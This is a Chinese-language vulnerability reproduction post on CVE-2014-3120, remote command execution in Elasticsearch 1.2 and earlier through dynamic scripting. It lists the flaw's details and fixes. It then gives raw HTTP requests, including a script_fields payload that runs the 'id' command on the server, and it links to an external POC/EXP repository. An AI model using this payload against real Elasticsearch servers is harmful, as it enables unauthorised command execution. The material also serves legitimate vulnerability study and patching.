ElasticSearch 命令执行漏洞

发布时间 2023-12-20 14:02:09作者: twsec

漏洞编号:CVE-2014-3120

漏洞详情

CVE编号 CVE-2014-3120 漏洞级别 中危6.8
标题 Elasticsearch默认配置允许动态脚本执行漏洞 披露时间 2014/07/29
漏洞总结 Elasticsearch 1.2版本及之前的默认配置启用了动态脚本,攻击者可以通过_search的source参数执行任意MVEL表达式和Java代码。需要注意的是,只有在用户没有在独立的虚拟机中运行Elasticsearch时,这才违反了供应商的安全策略。
利用路径 NETWORK 利用难度 一般8.6
影响产品 elasticsearch
解决方案 升级Elasticsearch到1.2.1以上版本,或禁用动态脚本功能。建议将Elasticsearch运行在一个独立的虚拟机中,以增强安全性。

漏洞复现

添加一条数据

POST /website/blog/ HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}

执行命令

POST /_search?pretty HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

POC&EXP

github:POC-EXP/ElasticSearch 命令执行漏洞 at main · twsec-pro/POC-EXP (github.com)

yakit:cc5908ae-5ea5-4060-8f15-1da729b3fb8c